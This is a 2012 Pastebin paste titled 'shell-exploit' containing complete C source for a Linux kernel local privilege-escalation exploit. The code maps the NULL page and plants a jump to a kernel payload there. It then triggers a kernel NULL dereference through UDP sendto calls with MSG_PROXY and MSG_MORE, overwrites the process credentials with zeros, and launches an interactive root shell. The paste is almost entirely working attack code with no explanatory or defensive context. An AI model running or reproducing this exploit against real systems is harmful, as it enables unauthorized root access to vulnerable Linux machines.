rokkwarr

shell-exploit

Sep 8th, 2012
22
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.10 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <string.h>
  4. #include <sys/socket.h>
  5. #include <sys/mman.h>
  6. #include <fcntl.h>
  7. #include <sys/personality.h>
  8.  
  9. unsigned int uid, gid;
  10. void get_root_uid(unsigned *task)
  11. {
  12.     unsigned *addr=task;
  13.     while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
  14.         addr++;
  15.     }
  16.     addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
  17.     addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
  18.     return;
  19. }
  20. void exploit();
  21. void kernel_code()
  22. {
  23.     asm("exploit:\n"
  24.         "push %eax\n"
  25.         "movl $0xfffff000,%eax\n"
  26.         "andl %esp,%eax\n"
  27.         "pushl (%eax)\n"
  28.         "call get_root_uid\n"
  29.         "addl $4,%esp\n"
  30.         "popl %eax\n");
  31.     return;
  32. }
  33. void *kernel=kernel_code;
  34.  
  35. int main(int argc, char **argv)
  36. {
  37.     int fd=0;
  38.     char buf[1024];
  39.     struct sockaddr x0x;
  40.     void *zero_page;
  41.  
  42.     uid=getuid();
  43.     gid=getgid();
  44.     if(uid==0){
  45.         fprintf(stderr,"[-] check ur uid\n");
  46.         return -1;
  47.     }
  48.     if(personality(0xffffffff)==PER_SVR4){
  49.         if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
  50.             perror("[-] mprotect()");
  51.             return -1;
  52.         }
  53.     }
  54.     else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
  55.             perror("[-] mmap()");
  56.             return -1;
  57.     }
  58.     *(unsigned long *)0x0=0x90909090;
  59.     *(char *)0x00000004=0x90; /* +1 */
  60.     *(char *)0x00000005=0xff;
  61.     *(char *)0x00000006=0x25;
  62.     *(unsigned long *)0x00000007=(unsigned long)&kernel;
  63.     *(char *)0x0000000b=0xc3;
  64.  
  65.     if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
  66.         perror("[-] socket()");
  67.         return -1;
  68.     }
  69.     x0x.sa_family=AF_UNSPEC;
  70.     memset(x0x.sa_data,0x82,14);
  71.     memset((char *)buf,0,sizeof(buf));
  72.     sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
  73.     sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
  74.     if(getuid()==uid){
  75.         printf("[-] exploit failed, try again\n");
  76.         return -1;
  77.     }
  78.     close(fd);
  79.     execl("/bin/sh","sh","-i",NULL);
  80.     return 0;
  81. }
Add Comment
Please, Sign In to add comment